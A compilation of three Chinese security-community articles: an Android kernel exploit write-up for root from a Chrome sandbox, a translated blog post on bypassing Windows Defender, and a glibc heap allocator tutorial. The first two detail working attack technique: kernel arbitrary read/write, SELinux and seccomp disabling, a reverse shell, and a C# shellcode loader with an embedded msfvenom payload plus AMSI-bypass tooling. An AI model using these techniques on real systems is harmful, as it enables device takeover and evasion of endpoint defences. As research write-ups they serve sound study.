为了确定这个值就是线程当前所处CPU，我们去查看了一下内核[代码](https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-crosshatch-4.9-android10/fs/proc/array.c#578)。从代码中可以看到，这个信息来自于task_cpu函数，也就是当前线程所属CPU。
seq_put_decimal_ull(m, " ", 0);
seq_put_decimal_ull(m, " ", 0);
seq_put_decimal_ll(m, " ", task->exit_signal);
seq_put_decimal_ll(m, " ", task_cpu(task)); <---------------- 获得线程所属CPU
seq_put_decimal_ull(m, " ", task->rt_priority);
seq_put_decimal_ull(m, " ", task->policy);
确定可以通过`/proc/self/stast`获取所属CPU之后，我们就可以基于特定CPU做堆布局了。
### Arbitrary address read/write model
能够成功实现对喷意味着我们可以控制w->type，从对该漏洞原理的分析，我们可以触发一个kfree(A+8)的操作。但沙箱中一系列的限制，使得现有的漏洞利用技术无法施展。对于这样一枚条件竞争类型的漏洞，面对内核的重重防护，如果需要多次触发漏洞，其稳定性、成功率、利用难度都会成为极大的问题。这让我们决定从漏洞利用模型的本源上再去重新思考，基于本质原理再寻他路。
#### **Case study**
我们总结了安卓ROOT历史上一些强大的漏洞利用方式，以其中的一些作为例子：
* put_user/get_user，CVE-2013-6282， ARM平台没有校验地址合法性，使得攻击者可以通过这两个系统调用实现任意内核地址读写。
* addr_limit + iovec， 将thread_info->addr_limit修改为0xFFFFFFFFFFFFFFFE来关掉内核对用户态及内核地址空间地址检查，进而实现稳定的任意地址读写。
* mmap + ret2dir，最初在2014 USENIX会议上提出。用户态映射的内存会分配到内核的physmap区域，实际上达到了一种“看不见的”内存共享的效果。用户态和内核都可以按照各自的地址访问这片共享内存。
* KSMA，通过创建新的页表项来达到一种物理内存共享的效果。
* mmap + sysctl，最近在CVE-2020-0041漏洞利用中使用的方法.。通过在kern_table中插入一个新的节点，使该节点对应的结构体存储在用户态通过mmap分配的内存中，因而攻击者可在用户态直接修改该结构体的内容，同时结合sysctl文件自身的功能来实现稳定的任意地址写。
从上面这几个例子可以看到其中极为关键的两个基本元素，前两者为“内存共享”，第三个例子和第四个例子其实是基于“指针控制”，而第五个例子则是同时基于这两者。这是一个有趣的发现，这些利用方式从本质来看竟有着这般关联，而其本质原理竟如此简单。
#### **Arbitrary read/write model**
我们不妨基于这两个元素来构建模型。
* 内存共享模型
不用限定于具体的是哪种实现方式，需要使其达到物理内存共享的效果，对其中一者（Struct A）的改动可同步影响到另一者（Struct B）。
* 指针控制模型
指针控制这种场景的关键在于找到含有指针成员变量的结构体，且该指针将被用于read/write业务逻辑，比较理想的场景是，可通过调用系统调用稳定的触发这一read/write业务逻辑。
#### Exploitation strategies
我们在内核源码，以及公开资料中寻找适用于这两种模型的结构体，最后发现了其中的三个结构体。这些结构体像化学试剂一样，单独存在时威力有限，而一旦将其按照一定的流程组合起来将会发生奇妙的化学反应，并爆发出强大的威力。
接下来我们来具体看一下这三个结构体的特点。
**• 基于Ashmem来实现任意地址读写**
(gdb) pt /o struct file
/* offset */ type = struct file {
...skip…
/* 184 */ u64 f_version;
/* 192 */ void *f_security;
/* 200 */ void *private_data; <---------------- 尝试控制private_data
/* 208 */ struct list_head {
/* 208 */ struct list_head *next;
/* 216 */ struct list_head *prev;
/* total size (bytes): 16 */
} f_ep_links;
...skip…
/* total size (bytes): 256 */
}
这里的private_data会被当做asma使用。
static long ashmem_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
struct ashmem_area *asma = file->private_data; <---------------- 在触发ashmem_ioctl()时，file->private_data会被赋值给asma
long ret = -ENOTTY;
switch (cmd) {
case ASHMEM_SET_NAME:
ret = set_name(asma, (void __user *)arg);
break;
case ASHMEM_GET_NAME:
ret = get_name(asma, (void __user *)arg);
break;
... skip ...
return ret;
}
在get_name()函数中可通过(1)(2)两处代码逻辑来实现任意地址读。
static int get_name(struct ashmem_area *asma, void __user *name)
{
... skip ...
if (asma->name[ASHMEM_NAME_PREFIX_LEN] != '\0') {
... skip ...
len = strlen(asma->name + ASHMEM_NAME_PREFIX_LEN) + 1;
memcpy(local_name, asma->name + ASHMEM_NAME_PREFIX_LEN, len); <---------------- (1)
} else {
len = sizeof(ASHMEM_NAME_DEF);
memcpy(local_name, ASHMEM_NAME_DEF, len);
}
... skip ...
if (unlikely(copy_to_user(name, local_name, len))) <---------------- (2)
ret = -EFAULT;
return ret;
}
**基于ashmem来实现read**
之后可借助set_prot_mask()及set_name()中的两处代码逻辑实现任意地址写。
static int set_prot_mask(struct ashmem_area *asma, unsigned long prot)
{
…skip…
/* the user can only remove, not add, protection bits */
if (unlikely((asma->prot_mask & prot) != prot)) {
ret = -EINVAL;
goto out;
}
/* does the application expect PROT_READ to imply PROT_EXEC? */
if ((prot & PROT_READ) && (current->personality & READ_IMPLIES_EXEC))
prot |= PROT_EXEC;
asma->prot_mask = prot; <---------------- 任意地址写
…skip…
}
也可通过调用set_name()来实现任意地址写。
static int set_name(struct ashmem_area *asma, void __user *name)
{
... skip ...
len = strncpy_from_user(local_name, name, ASHMEM_NAME_LEN);
if (len < 0)
return len;
if (len == ASHMEM_NAME_LEN)
local_name[ASHMEM_NAME_LEN - 1] = '\0';
mutex_lock(&ashmem_mutex);
/* cannot change an existing mapping's name */
if (unlikely(asma->file))
ret = -EINVAL;
else
strcpy(asma->name + ASHMEM_NAME_PREFIX_LEN, local_name); <---------------- 任意地址写
mutex_unlock(&ashmem_mutex);
return ret;
}
**• 基于Seqfile来实现任意地址读写**
对于seq_file结构体可通过控制buf指针。
struct seq_file
{
char *buf; <---------------- 尝试控制buf
size_t size;
size_t from;
size_t count;
size_t pad_until;
loff_t index;
loff_t read_pos;
u64 version;
struct mutex lock;
const struct seq_operations *op;
int poll_event;
const struct file *file;
void *private;
};
之后便可以借助seq_read()函数中所示代码逻辑实现任意地址读。
ssize_t seq_read(struct file *file, char __user *buf,
size_t size, loff_t *ppos)
{
struct seq_file *m = file->private_data; <---------------- m为seq_file类型指针
... skip ...
/* if not empty - flush it first */
if (m->count) {
n = min(m->count, size);
err = copy_to_user(buf, m->buf + m->from, n); <---------------- 任意地址读
... skip ...
}
/* we need at least one record in buffer */
pos = m->index;
p = m->op->start(m, &pos);
... skip ...
}
调用系统调用comm_show()，通过(1)(2)(3)处所示代码逻辑便可以实现任意地址写。
static int comm_show(struct seq_file *m, void *v)
{
struct inode *inode = m->private;
struct task_struct *p;
p = get_proc_task(inode);
if (!p)
return -ESRCH;
task_lock(p);
seq_printf(m, "%s\n", p->comm); // call seq_printf to write p->comm into seq_file->buf <---------------- (1)
task_unlock(p);
put_task_struct(p);
return 0;
}
void seq_printf(struct seq_file *m, const char *f, ...)
{
va_list args;
va_start(args, f);
seq_vprintf(m, f, args); <---------------- (2)
va_end(args);
}
EXPORT_SYMBOL(seq_printf);
void seq_vprintf(struct seq_file *m, const char *f,
va_list args)
{
int len;
if (m->count < m->size) {
len = vsnprintf(m->buf + m->count, m->size - m->count, f, args); <---------------- (3)
if (m->count + len < m->size) {
m->count += len;
return;
}
}
seq_set_overflow(m);
}
**• 基于Epitem来实现固定地址的任意写**
epitem和上面两个结构体不同，其data字段可通过调用系统调用epoll_ctl()来进行设置，这相当于实现了内核固定地址上稳定的8-bytes任意值写入。
(gdb) pt /o struct epitem epitem
/* offset | size */ type = struct epitem {
... skip ...
/* 112 | 16 */ struct epoll_event {
/* 112 | 4 */ __u32 events;
/* XXX 4-byte hole */
/* 120 | 8 */ __u64 data; <---------------- 可通过调用系统调用稳定的修改data
/* total size (bytes): 16 */
} event;
/* total size (bytes): 128 */
}
int pfd[2];
int epoll_fd;
struct epoll_event evt;
pipe(pfd);
epoll_fd = epoll_create1(0);
epitem_add(epoll_fd, pfd[0]);
bzero(&evt, sizeof(evt));
evt.events = event;
evt.data.u64 = data;
epoll_ctl(ep, EPOLL_CTL_MOD, epoll_fd, &evt);
#### **Stable arbitrary read/write solution**
基于上面这两种模型，我们可以使用ashmem来搭建一个任意地址读写方案。
**通过ashmem搭建任意地址读写模型**
具体实现分为三步：
(1) 泄露file1结构体地址
(2) 泄露file2结构体地址
(3) 同时还需要配合一次任意写，将private_data1字段内容修改为private_data2所在地址
基于这个模型便可以通过调用上面提及的ashmem的读写系统调用来实现任意地址读写。但利用这枚漏洞来实现这个方案相对比较苛刻，是否还有更好的方案?答案依然是肯定的，这也是利用中采用的方案——仅通过一次漏洞触发就拿到了稳定任意地址读写元语。
**通过一次漏洞触发实现稳定任意值读写的方案**
具体实现思路及其特点如下：
* 通过内存布局 **使epitem的data字段和seq_file的buf字段重叠**
* epitem与seqfile结构体大小都是 128，可以被分配到同一个页上
* double-free后刚好可以构造出一个kfree(A+8)的场景
* 不需要预先泄露任何信息或配合地址写能力
* 搭建完成这套方案便具备了稳定的任意地址读写能力。在拥有这样的能力后，从某种意义上讲已经实现了提权。
这个方案从原理上非常强大，但在实际实现时仍然会遇到一些问题。首先遇到的就是堆风水布局问题。
### Trouble when doing heap fengshui
在调用系统调用来创建seq_file结构体时，从其业务逻辑实现上来看，会先分配一个op结构体，这两个结构体成对出现，在内存布局效果上来看如上所示。我们的基本思路是通过进一步的堆布局逐步将其分隔开，但找出这么一个合适的结构体并不容易。在深入探索之后，我们找到了一个eventfd相关的结构体。
该结构具备的特点可以完美的适用于于这一场景：
* 创建eventfd的系统调用可以在sandbox中访问
* 与eventfd相关联的结构体大小刚好为128
* 当关闭eventfd时对应的结构体也会同时被释放
* 按照特定的顺序创建和释放结构体便可以构造出的如上的布局
### Prepare holes with eventfd
这样我们便可以先创建大量的eventfd来实现内存布局，假设其布局效果如下图。紧接着，关闭eventfd3，然后关闭eventfd1，其效果如图中下半部分。
之后打开/proc/self/comm，创建的op及seq_file将分配在已经预先隔开的slab上。再关闭eventfd2便可以在seq_file前留下一个闲置的slab对象。
### Build arbitrary read and write
这个问题得到解决后，我们便可以基于该模型来构建任意地址读写方案。
具体步骤如下：
* 堆喷大量的binder_node来填充这些空置slab对象
* 触发漏洞，使其释放kfree(C+8)
* 堆喷epitem来占用C+8位置
### Leak kernel address
在async_todo双向链表在初始化时候prev&next指针会被初始化为自身地址。该binder_node结构体的prev指针地址会被残留在seq_file的头部，也即buf指针的位置，这意味着我们找到了一个信息泄露的起始点。
pwndbg> pt/o struct binder_node
/* offset | size */ type = struct binder_node {
/* 0 | 4 */ int debug_id;
/* 4 | 4 */ spinlock_t lock;
... skip ...
/* 112 | 16 */ struct list_head {
/* 112 | 8 */ struct list_head *next;
/* 120 | 8 */ struct list_head *prev;
/* total size (bytes): 16 */
} async_todo; <---------------- async_todo双向链表
/* total size (bytes): 128 */
}
因为我们在堆上布局了大量的binder_node，所以我们第一步可以泄露出binder_node的内容，从中我们可以直接泄露出binder_proc的地址。接下来步骤就是用epitem把该binder_node替换掉，构建任意读原语。然后利用该原语，可以依次找到当前线程的task_struct，然后是其所属的task_group。有了task_group，就可以通过tid找到指定线程的task。沿着这个思路，我们可以获得需要的所有信息。自此之后，后续的提权成功只是流程和步骤多少的问题。
### Last step to get root ?
在拥有了这种任意地址读写元语后，整个提权流程将变得非常简单，比较直接有效的办法还是攻击自主访问控制和强制访问控制。有了这个信息泄露的起点后，我们可以逐步拿到thread_info地址，将其修改为ROOT用户，修改cred，再关掉selinux_enforcing。这样是不是就可以成功提权了呢？上面提到沙箱进程中还有BPF机制的保护，还需要去关闭其BPF保护。
### Last step to get root !
Chrome的BPF过滤器过滤掉了大多数的系统调用，需要关掉BPF才能建立socket通信，实现反弹shell
* thread->seccomp->filter指向了所用的BPF规则，但该指针不能被直接置为空，相应的检测机制会触发kernel panic
* BPF过滤规则通过链表组织，在我们的测试中，其一共有四项，我们将其设置为倒数第二项可以绕过系统调用限制，并能成功创建socket，实现反弹shell！
## Demo
下面链接使我们录制的一个攻击演示视频，该视频示范了利用该利用链可以在Pixel 4上安装任意应用。
链接：<https://www.bilibili.com/video/BV1qg411L76y>
## **Conclusion**
本文介绍了该条远程ROOT利用链沙箱逃逸提权部分，具体介绍了我们在尝试利用该漏洞在高度沙箱化的进程中攻击内核时遇到的各类问题，以及解决方法。文中所的一次触发漏洞就实现稳定任意地址读写方案非常强大，但该案对结构体大小的依赖比较大，其中用到的seq_file及binder_node结构体其大小在不同的系统版本上可能会有所变化，这些变化可能会导致利用方案的失败，但基于该模型有可能找到一些其他的替代方案。目前该利用方案还是需要适配selinux_enforcing符号地址，这也留下了一个问题，这一步在拥有了稳定内核地址读写元语后能不能自动化完成?
安卓系统在内外多重推力下其安全性得到了不断的加强，各类防护机制被不断引入，谷歌多次提高其漏洞奖励计划奖励额度，体现其对自身产品安全性的信心。但绝对安全只是我们的愿景，现实却非常残酷。文中介绍的漏洞利用方案，在极为苛刻的条件下，采用极为简单的方案实现了仅触发一次漏洞就获得了稳定的任意地址读写元语，使得系统现有的各类防护变得脆弱不堪，其中一次触发漏洞也达到了理论极限。防护更多的是考虑的是一个面，而攻击却可以仅找一个点，攻防对抗也将在这个过程不断博弈，不断发展。
最后，在这里感谢团队小伙伴龚广、姚俊、张弛在这条利用链中所提供的帮助。他们提出了许多宝贵的建议，给了我们诸多启发，感谢他们！
* * * | 社区文章 |
# 如何使用几个简单步骤绕过Defender
> 本文为翻译文章,原文地址:<https://arty-hlr.com/blog/2021/05/06/how-to-bypass-> defender/#what-happens-when-stuff-is-not-on-disk>
在最近的一次渗透测试中,我有机会通过RDP在AD环境中花费一些时间来测试他们加固。从基本技术到更高级的技术，我学到了很多关于DotNet，防病毒引擎如何工作以及如何绕过它们的知识。我确实在渗透测试中设法绕过了Defender，并且运行了一些不错的东西，并且想为像我这样几天前对绕过防病毒软件经验很少的的人撰写一篇博客文章。欢迎享受阅读时光:)
## AV 工作原理
在我们深入探讨我尝试过的解决方案之前，让我们回顾一下AV如何处理磁盘上的文件(无AI,基本来说):
* 签名检测
* 启发式检测
* 内存检测
### 签名
最基本功能且是最早地将文件或文件一部分的哈希值与已知的恶意文件的哈希值比较。这可以是整个文件的哈希，也可以只是恶意活动核心的几个字节或者字符串的哈希。
### 启发式
当签名不足或者没有签名时，防病毒学派下一个等级是正在考虑模拟运行在实际运行之前的可执行文件。这意味着要检查汇编指令或者代码行，并检查它们在运行时会发生什么。根据观察到的行为，AV可以确定文件是恶意的，然后禁止文件在模拟后再运行。
### 当东西不在磁盘上时会发生什么?
最后要提到的重要一件事是AMSI:
Microsoft对恶意软件的响应甚至没有触及磁盘。当磁盘上的可执行文件运行时，会在允许运行之前对其进行扫描/模拟，但是如果该可执行文件已在内存中并且从其他位置加载，那么会发生什么情况?
AMSI是Window API，允许软件开发人员执行脚本(例如PowerShell, office中的VBA宏,C#程序集的反射)来请求AMSI扫描,
然后再运行内存中的东西。
## 第一种方法: 更改字符串和混淆
因此, 让我们尝试绕过AV的第一层:
签名检测。我的第一次尝试是通过[DefenderCheck](https://github.com/matterpreter/DefenderCheck),
[Find-AVSignature](https://github.com/PowerShellMafia/PowerSploit/blob/master/AntivirusBypass/Find-AVSignature.ps1),以及在[AntiScan.me](https://antiscan.me/)和[VirusTotal](https://www.virustotal.com/gui/)上进行手动扫描来运行C#版SharpHound.exe来试图找出代码中的那一部分触发了杀毒软件。通过反复试验，遍历文件越来越小的部分，你可以找出那些字符串触发了AV然后在Visual
Studio中重构这些字符串，或者更改可执行文件的个别字节。最后一种方法的缺点是，当汇编指令被重写时，它很可能会破坏可执行文件，并且需要逆向工程去弄清楚更改了什么和是否能够修复，这需要花费时间和精力在反汇编的二进制代码上。这并不好，我们是懒惰的，我们不得不对每个要绕过AV的软件执行此操作。em...
另一种方法,
则是尝试修改代码,以至于看起来不像任何东西了。我的意思是,尝试去混淆源代码，诸如[ConfuserEx之类的](https://github.com/mkaring/ConfuserEx)工具可以针对.Net应用程序执行此操作。这在一定程度上可行，几年前来说已经足够了，但现在依然不能绕过任何启发式检测。好吧，可以去试试。
## 第二种方法: 自制C#加载器
我的下一次尝试让我感到羞愧，但这是我尝试过的方法：
由于WinAPI的调用，我知道Shellcode运行程序可以在C#中执行msfvenom生成的有效负载。基本的加载器代码如下所示。
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
using System.IO;
namespace Shellcode_Runner
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreatingFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main(string[] args)
{
// msfvenom -p windows/exec cmd=calc.exe exitfunc=thread -a x64 -f base64
string b64_payload = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
byte[] buf = System.Convert.FromBase64String(b64_payload);
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Thread.Sleep(10000);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
而且我很少想到, 如果我可以使用它允许shellcode执行,
为什么并不尝试在base64中加载整个EXE文件并像shellcode一样执行它。我的意思是为什么它不起作用? :D 显然,
我注意到EXE尤其是C#编译的EXE并不是shellcode,而且由于PE头文件的原因，显然无法加载整个EXE作为汇编指令执行。不要纠结C#实际上是怎么编译的，我记得有一段时间尝试将它作为一种托管语言并编译为中间代码...甚至我做了使用[pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
将其转换为shellcode的努力,这将把PE头修改为可执行的(显然仍然无法与 c#一起使用) 或
[Donut](https://github.com/TheWover/donut)(这可以起作用吗? 不知道为什么不行 ) 没有带来任何成果。
但是，我写了一个shellcode加载器! 下一步是通过对有效负载加密来逃避签名检测，
并通过打乱我们的行为来逃避启发式检测。（这可能将在另一篇博文的主题,在没有使用我最后的解决方案主要集中于绕过AV对shellcode的查杀)。因此，到我的下一个尝试。
## 第三种方法: 有效负载传递
因此，如果我无法足够混淆C#的可执行文件，
或者无法通过将其作为shellcode运行来绕过启发式分析，那么也许还有另一种不接触磁盘的方法。在CRTE训练营之前，我曾经使用过[NetLoader](https://github.com/Flangvik/NetLoader)，但并没有真正地去了解它的用途和作用对象，但现在让我们开始(稍微)深入了解下:
NetLoader是一种C#工具,可通过反射从路径,URL,或SMB共享加载C#程序集(该主题是另一个博客的，但可以将其视为shellcode加载器但是作用对象是c#程序集)并通过修补AMSI来绕过它。这意味着恶意的c#可执行文件根本不需要接触磁盘，这对我们来说是一件好事，因为它绕过了AMSI(后面文章的另一个主题),这可能意味着完全绕过了Defender。唯一的事情是，它将被允许执行吗？
好吧,显然微软没有为NetLoader添加签名，正因为这样才不会被阻止运行。
首次成功: 运行任何恶意的C#可执行文件！
但这对我来说还不够，我还希望能够允许PowerShell脚本......但这在NetLoader上不起作用，因此转到另一个用于进行有效负载传递和AMSI绕过的工具[SharpPack](https://github.com/mdsecactivebreach/SharpPack):
为了达到我的目的，SharpPack需要进行一些重构，因为该项目默认会编译为DLL,这对于更安全方式而言有意义，像
[DotNetToJScript](https://github.com/tyranid/DotNetToJScript) 或者Office
VBA宏中的方式，如[本](https://www.mdsec.co.uk/2018/12/sharppack-the-insider-threat-toolkit/)博客文章中所述，我只想要一个普通的C＃可执行文件，然后我将其与NetLoader一起运行。
我将项目更改为编译exe，并添加了一个main:
using System;
using SharpPack;
namespace SharpPackRunner
{
class Program
{
static void usage()
{
System.Console.WriteLine("Usage: SharpPackRunner.exe -D/-P <encpath> <encpass> <outfile> <name> <args>");
return;
}
static void Main(string[] args)
{
if (args.Length != 6)
{
usage();
return;
}
var sp = new SharpPackClass();
if (String.Equals(args[0], "-D"))
sp.RunDotNet(args[1], args[2], args[3], args[4], args[5]);
else if (String.Equals(args[0], "-P"))
sp.RunPowerShell(args[1], args[2], args[3], args[4], args[5]);
else
usage();
}
}
}
(我一直在寻找一种更优雅的解决方案，例如像Python中*array那样将数组解压为参数，但显然在C#中，如果不重构该方法，这是不可能的)
因此，最终我获得了可以与NetLoader一起运行的C#可执行文件，并且可以从加密的zip文件中提取出恶意的c#恶意代码，然后运行它，并发送输出到文本文件。可以更改代码以从URL或NetLoader之类的共享去加载可执行文件和脚本并显示输出而不是将其发送到文本文件，这样磁盘上就什么都没有了，但是说实话没有太多时间去深入研究源代码了。
我在SharpHound.ps1脚本的末尾添加了一行`Invoke-BloodHound -CollectionMethod
All`以加载和运行SharpHound(虽然再次阅读MDSec的博客文章，我可能已经将该行作为SharpPack的最后一个参数了)，现在可以运行PowerShell脚本了。
我的任务完成了!
## 结论
我确实设法绕过了Defender,在此过程中我学到了很多有关防病毒软件的知识，但是我并没有深入研究绕过AMSI和C#中的反射机制，这可能是将来博客文章中的主题。我希望这篇文章是足够清晰的，如果我在解释上有任何错误，请在issue或Discord(arty-hlr#1427)告知我。 | 社区文章 |
# 1.堆
## 1.1 堆概述
### 1.1.1 堆数据结构，申请与释放
堆和栈都是一种数据结构，在内存中线性分布储存数据，栈由高地址向低地址伸展，堆由低地址向高地址伸展。堆的位置一般都在bss段的高地址处。
在程序运行过程中，堆可以提供动态分配的内存，允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域，它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器。
目前 Linux 标准发行版中使用的堆分配器是 glibc 中的堆分配器：ptmalloc2。ptmalloc2 主要是通过 malloc/free
函数来分配和释放内存块。
**_libc_malloc**
一般我们会使用 malloc 函数来申请内存块，可是当仔细看 glibc 的源码实现时，其实并没有 malloc 函数。其实该函数真正调用的是
**libc_malloc 函数。为什么不直接写个 malloc 函数呢，因为有时候我们可能需要不同的名称。此外，** libc_malloc
函数只是用来简单封装 _int_malloc 函数。_int_malloc 才是申请内存块的核心。下面我们来仔细分析一下具体的实现。
该函数会首先检查是否有内存分配函数的钩子函数（__malloc_hook），这个主要用于用户自定义的堆分配函数，方便用户快速修改堆分配函数并进行测试。这里需要注意的是，
**用户申请的字节一旦进入申请内存函数中就变成了无符号整数** 。
// wapper for int_malloc
void *__libc_malloc(size_t bytes) {
mstate ar_ptr;
void * victim;
// 检查是否有内存分配钩子，如果有，调用钩子并返回.
void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
if (__builtin_expect(hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS(0));
判断目前的状态是否满足以下条件
* 要么没有申请到内存
* 要么是 mmap 的内存
* **要么申请到的内存必须在其所分配的 arena 中**
**_int_malloc**
_int_malloc 是内存分配的核心函数，其核心思路有如下
1. 它根据用户申请的 **内存块大小** 以及 **相应大小 chunk 通常使用的频度** （fastbin chunk, small chunk, large chunk），依次实现了不同的分配方法。
2. 它由小到大依次检查不同的 bin 中是否有相应的空闲块可以满足用户请求的内存。
3. 当所有的空闲 chunk 都无法满足时，它会考虑 top chunk。
4. 当 top chunk 也无法满足时，堆分配器才会进行内存块申请。
在进入该函数后，函数立马定义了一系列自己需要的变量，并将用户申请的内存大小转换为内部的 chunk 大小。
fast bin
如果申请的 chunk 的大小位于 fastbin 范围内， **需要注意的是这里比较的是无符号整数** 。 **此外，是从 fastbin 的头结点开始取
chunk** 。
large bin
当 fast bin、small bin 中的 chunk 都不能满足用户请求 chunk 大小时，就会考虑是不是 large bin。但是，其实在
large bin 中并没有直接去扫描对应 bin 中的 chunk，而是先利用 malloc_consolidate（参见 malloc_state
相关函数） 函数处理 fast bin 中的 chunk，将有可能能够合并的 chunk 先进行合并后放到 unsorted bin
中，不能够合并的就直接放到 unsorted bin 中，然后再在下面的大循环中进行相应的处理。 **为什么不直接从相应的 bin 中取出 large
chunk 呢？这是 ptmalloc 的机制，它会在分配 large chunk 之前对堆中碎片 chunk 进行合并，以便减少堆中的碎片。**
大循环 - 遍历 unsorted bin
**如果程序执行到了这里，那么说明 与 chunk 大小正好一致的 bin (fast bin， small bin) 中没有 chunk 可以直接满足需求
，但是 large chunk 则是在这个大循环中处理** 。
在接下来的这个循环中，主要做了以下的操作
* 按照 FIFO 的方式逐个将 unsorted bin 中的 chunk 取出来
* 如果是 small request，则考虑是不是恰好满足，是的话，直接返回。
* 如果不是的话，放到对应的 bin 中。
* 尝试从 large bin 中分配用户所需的内存
该部分是一个大循环，这是为了尝试重新分配 small bin chunk，这是因为我们虽然会首先使用 large bin，top chunk
来尝试满足用户的请求，但是如果没有满足的话，由于我们在上面没有分配成功 small bin，我们并没有对 fast bin 中的 chunk
进行合并，所以这里会进行 fast bin chunk 的合并，进而使用一个大循环来尝试再次分配 small bin chunk。
使用 top chunk
如果所有的 bin 中的 chunk 都没有办法直接满足要求（即不合并），或者说都没有空闲的 chunk。那么我们就只能使用 top chunk 了。
##### 1.1.2 malloc
在glibc的malloc中，有以下说明：
malloc 函数返回对应大小字节的内存块的指针。
当 n=0 时，返回当前系统允许的堆的最小内存块
当 n 为负数时，由于在大多数系统上， **size_t 是无符号数（这一点非常重要）**
，所以程序就会申请很大的内存空间，但通常来说都会失败，因为系统没有那么多的内存可以分配。
malloc --> __libc_malloc --> _int_malloc
__libc_malloc(size)
用户申请的字节一旦进入申请内存函数中就变成了 无符号整数。
寻找钩子hook ----》 寻找arena ----》 调用_int_malloc分配内存 -+--》成功，返回内存
↑ |
| ↓
+-----分配失败，再寻找一个arena
_int_malloc()
--------------------------------------------------------------------------------
将size转化为对应的chunk大小 ----》 fastbin ----》 遍历（后进先出），检查大小是否符合 ----》 符合则计算索引 ----》 chunk转换为内存返回
根据大小选择bin ----》 smallbin ----》获取索引、指针 ----》 检查该bin是否为空 ----》 不为空 ----》将链表中最后一个chunk分配（先进先出）
| +----》 初始化
+---》 该bin为空
----》 不在fastbin和smallbin中 ----》 malloc_consolidate()：处理fastbin ----》 可以合并的合并，然后放 unsorted bin ----》大循环
----------------------------------------------------------------------------------
大循环 ----》 遍历unsorted bin ----》 FIFO寻找大小刚好合适的bin ----》若有，bin转为内存后返回
循环10000次 ----》若没有，则将当前的unsorted bin按照大小放至对应的small或large中
----》 遍历large bin ----》对应的 bin 中从小(链表尾部)到大（头部）进行扫描 ----》 找到第一个合适的返回
----》 若大小合适的bin都不存在，则在map中找更大的bin遍历 ----》 找到，返回内存
----》 找不到，使用top chunk ----》 满足，分割后返回
----》 不满足，使用 sysmalloc 来申请内存
------------------------------------------------------------------------------------
//从 fastbin 的头结点开始取 chunk（LIFO）
##### 1.1.3 free
在glibc'中的free，有以下说明：
free 函数会释放由 p 所指向的内存块。这个内存块有可能是通过 malloc 函数得到的，也有可能是通过相关的函数 realloc 得到的。
当 p 为空指针时，函数不执行任何操作。
**当 p 已经被释放之后，再次释放会出现乱七八糟的效果，这其实就是`double free`。**
除了被禁用 (mallopt) 的情况下，当释放很大的内存空间时，程序会将这些内存空间还给系统，以便于减小程序所使用的内存空间。
free --> __libc_free --> _int_free
_int_free()
检查 ----》是否fastbin ----》是fastbin，放至fastbin链表表头
+---》是否mmap分配 ----》 是，munmap_chunk()
+---》 否，合并chunk ----》 向低地址合并 ----》想高地址合并 ----》 下一个是否是top chunk ----》 是，合并到top chunk
+---》 否，合并加入unsorted bin
##### 1.1.4 内存分配中的系统调用
在前面提到的函数中，无论是 malloc 函数还是 free
函数，我们动态申请和释放内存时，都经常会使用，但是它们并不是真正与系统交互的函数。这些函数背后的系统调用主要是brk函数以及 mmap，mummap函数。
堆进行 **申请内存块的操作**
**(s)brk**
对于堆的操作，操作系统提供了 brk 函数，glibc 库提供了 sbrk 函数，我们可以通过增加 brk的大小来向操作系统申请内存。
初始时，堆的起始地址 start_brk以及堆的当前末尾 brk指向同一地址。根据是否开启 ASLR，两者的具体位置会有所不同
* 不开启 ASLR 保护时，start_brk 以及 brk 会指向 data/bss 段的结尾。
* 开启 ASLR 保护时，start_brk 以及 brk 也会指向同一位置，只是这个位置是在 data/bss 段结尾后的随机偏移处。
**例子**
/* sbrk and brk example */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main()
{
void *curr_brk, *tmp_brk = NULL; //创立空指针
printf("Welcome to sbrk example:%d\n", getpid()); //读取heap，pid
/* sbrk(0) gives current program break location */
tmp_brk = curr_brk = sbrk(0); //通过sbrk空指针赋值
printf("Program Break Location1:%p\n", curr_brk);
getchar();
/* brk(addr) increments/decrements program break location */
brk(curr_brk+4096);
curr_brk = sbrk(0);
printf("Program break Location2:%p\n", curr_brk);
getchar();
brk(tmp_brk);
curr_brk = sbrk(0);
printf("Program Break Location3:%p\n", curr_brk);
getchar();
return 0;
}
在第一次调用brk函数之前。
从下面的输出中可以看出没用产生堆。
start_brk = brk = end_data = 0x1bd2000
在第二次调用brk函数
start_brk = end_data = 0x1bb1000
bak = 0x1bd3000
其中，关于堆的那一行
* 0x01bb1000 是相应堆的起始地址
* rw-p 表明堆具有可读可写权限，并且属于隐私数据。
